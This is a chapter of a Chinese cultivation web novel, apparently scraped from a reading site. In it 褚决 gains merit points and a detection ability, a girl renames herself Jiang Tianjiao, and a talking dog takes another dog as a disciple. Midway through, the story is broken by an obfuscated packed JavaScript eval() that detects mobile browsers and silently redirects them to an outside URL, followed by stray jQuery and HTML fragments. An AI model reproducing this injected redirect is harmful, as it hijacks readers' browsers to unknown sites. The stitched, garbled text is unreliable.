不知道是每个灵者都有这样的能力，还是说只有拥有精神力的她才能够做到这样的事。
褚决更偏向于后者，毕竟关于这件事，方知意在科普时也从未对她说起。
这种开挂的修灵方式如果存在的话，应该是不会被方知意忘记的。
对于精神力和灵气的差别，褚决目前认为，精神力是明显强于灵气的。
灵气就像是一种精神力的低配版本，因此能够被精神力所吸收，可她的精神力却不能反向被灵气吸收。
二者之间应该是有个换算比例，并非一比一。
就比如现在，她不到三百的精神力轻松吊打了据说是高阶的灵者。
……嗯，到底是他太菜了还是什么别的，褚决也不好分辨。
褚决心心念念等待着的系统提示声在这时响起。
【主线任务进展度更新，功德值+310】
【当前总功德值：431】
【主线（进阶）所需功德值：431/5000】
先前还是100就能解锁的初阶任务，没想到进阶所需的功德值竟然达到了五千。
而且根据这个进度来看，以后说不准还有个中阶高阶最终阶之类的……就这么升下去一次20她得攒多久才能完成主线，简直遥遥无期。
褚决叹气。
只不过，这次是加了310？
褚决有些搞不懂这个数值的计算，大致扫了一眼记录发现之前那十三个人给的数值并不相同，整体浮动控制在15~28的范围内。
而最后的这名灵者却直接给了她30。
看来人与人所提供的数值还真的有高低之分，只是不知道这个高低是怎么判定的了。
褚决戳了戳系统，希望对方能给自己一个解释。没得到熟悉的数字符号回应，是功德系统又在装死。
有关支线就比较简单了。
不需要系统提示，在解决掉对方吸收掉那股灵力时，褚决就知道她的精神力上限也增加了一些。
【支线任务-精神力修复-进展度更新，精神力上限值+41】
【当前上限：273/9999+】
虽然远不如傀儡提供的上限多，但也还算是不错。可惜这个男的或许比较贫穷，并没有携带傀儡这种东西。
她往下瞥了一眼，又看到一行透着喜悦的金黄色的大字：
【主线（初阶）任务已完成，奖励已发放完毕。】
看来是先前的奖励到账了。
褚决很是好奇系统会发放什么奖励，这还是她第一次见到系统弹出来什么有用的东西。
她饶有兴致地点开了详情——
【主线（初阶）任务奖励已解锁：已获得[功德值检测功能]】
功德值检测？
褚决看了看四周，选择地上的尸体进行了检测，尸体头上飘着一行黑体字。
【当前功德值：0】
这意思是这具尸体自带的功德值是0？还是说褚决现在能从他身上获得的功德值是0？
毕竟根据系统的计算，在他死亡的那一刻，褚决已经从他身上薅走了30功德值。
看来还需要点别的样品进行比对。
可惜此时四下无人，褚决坐在尸体旁边等待着同伴过来集合。
她摸索着发现检测功能可以开启自动识别模式，选择开启后，对方的尸体上直接显示出“0”这个数值。
褚决：……
都0了还有什么可检测的……褚决向系统提出意见：当对方数值是0的时候可以直接不要显示。
系统没有搭理。
褚决甚至测了测自己，却没在自己头上看到什么数值。但样本太少，眼前的“0”更是没什么意义。她开始持续骚扰功德系统，却依旧没有得到回应。
很快，分散开来的其余三人二狗成功与褚决会面。
领头撒欢的方知意看到地上的尸体眼前一亮：“果然被我们猜对了，这公人没走正门。”
顺路点完外送，已经提着盒饭的云千渡叹气：“我还特地在大门口等了一会儿，听见这边有动静才确定他已经偷偷出来了。”
她们等在不同的出口守株待兔，云千渡还得空给嬴熠汇报了进度，并且目睹了方知意遛弯儿式的摸鱼。
“去吃饭吧。”褚决眼中只剩下对午饭的探索欲。
找了个公共餐桌坐下，江盼儿对着江静姝小声地说着自己的经历。江静姝听得皱眉，又正式地对褚决表达了谢意。
褚决欣然接受，听着她们继续聊那些陌生的话题。异界总是随时刷新她的认知，虽面上不显，褚决心中却觉得奇异。
先前得到的信息已经足够奇怪，竟然还有更多难以理解的事情。
吃饭时间，褚决放弃思考。她用新得到的奖励分别检测了几人，却发现她们几个头上的黑体字也都是0。
这让褚决一时间有些难以分辨系统的作用，怎么检测来检测去，能检测到的人全都是0。
“这红烧肉也太肥了。”方知意边吃边嘟囔道。
江盼儿看着两条狗完全不同的午餐待遇，对大黄只能吃些狗粮感到同情。
“大黄，祝你早点生出灵智，也像方知意一样，这样我们就能相处得更久更久了。”
她小声地和大黄说悄悄话。之前只是听说过灵兽的存在，这还是第一次见。
大黄很给面子地汪了一声，像是在说“放心吧”。
江盼儿咧开嘴笑了笑，今天真是奇特的一天。
她离开了早就想要逃离的环境，没有想象中的失落和茫然，反而充满对未来的可能性。只因为现在她和江静姝、大黄她们在一起。
虽然她们好像连去处都没有，但江盼儿感到前所未有的安心。
江静姝看得出她在想些什么，安慰道：“没关系，先跟我回组织里。”
“好。”
同样身为组织的一员，云千渡自告奋勇：“没问题，云姐照顾你！虽然你嬴姐可能看起来没有我这样亲切，但其实她肯定也会喜欢你。”
她姐妹义气地拉了拉江盼儿的手，开口就想当场把自己升级为江盼儿的亲姊妹，但一时间有些卡壳。
虽然脱口而出的是“小江”这样的称呼，但总有一种在叫江静姝的即视感。认真一想的话，盼儿妹妹或者盼妹也显得有些……总之好像都不是在叫“她自己”。
“妹儿啊，姐该怎么叫你呢？”要不直接就叫妹妹？
对于“名字”，这也是江盼儿一早就想过的问题。
她自从知道母亲父亲给她取的“盼儿”其实只是在期盼着男儿到来的意思后，早就想改掉这个名字。
她才不要一生都活在这样的诅咒里。
“谢谢云姐，嗯……我想改个别的名字。”
“当然可以，你想改成什么？”
江盼儿想了想，提起来还有点不好意思：“我也想和……和姐姐一样带一个女字旁，而且还得有个字代表我很厉害很厉害的样子。”
她的名字本是为别人而生的“期望”，不如就改成自己“期望”的样子。
“很好啊，那我们就往这个方向想一想。”
“其实我已经想好了。”江盼儿嘿嘿笑了两声，“我想叫''江天娇''。”
“江天娇？不错不错！”云千渡十分捧场，百忙之中放下筷子鼓起掌来。
已经吃完狗粮的大黄本就挨着主人，一双狗眼中透着兴奋。
她拱了拱江天娇的裤腿，如愿被撸了一把毛之后，看得出来摇个不停的尾巴也在替她兴奋。
江静姝也莞尔一笑：“很高兴认识你，江天娇。”
褚决点了点头，夹了块儿酱汁满满的肉分给方知意：“庆祝天娇。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289644|182481||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
方知意对徒儿上道的反应感到满意，难得地说了一句好话：“江天娇听起来比江盼儿好听多了，你改得还可以。”
之前的就可以不叫了，又不好听。什么x儿x儿的，听起来嗲里嗲气。
“谢谢。”江天娇捂了捂眼睛，虽然什么都没有发生，但她总觉得自己又要哭出来了。她并不是喜欢流眼泪的性格，可没想到今天却总是难以控制。
她好像经历了一生都难以忘记的一天。
方知意本想把这块诱人的瘦肉吞入腹中，但眼看着江天娇要哭不哭的样子，纠结一秒后把这块肉扔给了江天娇。
“这么馋？都哭了。那我就大发慈悲地施舍给你吧，反正我也不爱吃。”
吃饭也哭，狗不懂。
江天娇虽不缺这一口肉，却为这份陌生灵兽的善意而感到感动。
她鼓起勇气摸了摸方知意的头，说了句“谢谢你”。
没想到肉块刚入口就觉得不对，江天娇一口就吐了出来，表情有些一言难尽：“褚决姐，这是块儿姜！”
褚决眨了眨眼：“是吗？”
江天娇、方知意：……
这副样子很难猜出她到底是不是故意。
褚决当然不是故意的，毕竟那块姜的伪装出神入化。在没入口之前，想必是没有人能够分辨的。
方知意却是戏瘾大发：“褚决，没想到你我的情意中暗藏着欺骗。”
褚决：……
一时间不知道她这话是出自真心还是假意。
方知意这个忽大忽小的狗脑子，褚决也有些好奇她到什么时候才能发觉自己所说的远星第12星系是真实经历。
“你们关系真好。”江天娇羡慕道，“如果大黄也能够修成灵兽就好了。”
她都不敢想大黄能和自己说话的话，她得开心成什么样子。
“小意思。”方知意似乎是想打个响指，但由于狗爪不够灵活，她只能偷偷配音。
“你可以让你的朋友拜我为师，我看她有很大潜力。”方知意得意地开始画饼，“我的前一个徒儿也是从普通两脚人一步修成灵者的。”
“真的吗真的吗！”江天娇两眼放光，一时间忘记咬了一口假肉的事情，“方老师，你真厉害呀！大黄，快快快，快来拜师！”
大黄虔诚地“嗷”了一声，一白一黄之间就这样完成了拜师仪式。
褚决心情复杂，她现在不只有个狗老师，还有个狗师妹了。自己作为“师门”中唯一一个人类，实在是有些格格不入。
方知意已经开始为双方牵线：“徒儿，介绍一下，这是你的师姐。”
江天娇瞪大了眼睛：“原来褚决姐是方老师的学生。”
褚决是江天娇见过最最厉害的灵者，可没想到她的老师竟然是方知意！方老师真是厉害，既然她都这么说了，那大黄一定也可以！
褚决点了点头，也跟着捏了捏大黄的爪子：“欢迎师妹。”
这样软弹的手感不愧是师妹。
“嗷呜。”大黄吐着舌头，整只狗身上都散发着开心。
一行人用餐完毕，云千渡三人都要回到111去，在得知褚决也并没有什么安排后，云千渡热情地邀请她和方知意也一同前往。
“嬴姐见到你们一定会很开心的。”云千渡打包票道。
褚决主动去扔了垃圾，发现功德面板毫无变化，她想了想道：“等我一下。”紧接着就回去扔了守门人的尸体。
很可惜，测试完毕后褚决发现无论是哪种层面的“保护环境从她做起”都不会增加功德值。
因为好奇而跟着她跑了一趟的方知意啧啧两声，充满闲情逸致地为她配音道：
“丢死人啦——丢死人啦——”
褚决：……
她现在不止怀疑系统是设计师变的，她怀疑就连方知意都是设计师本师。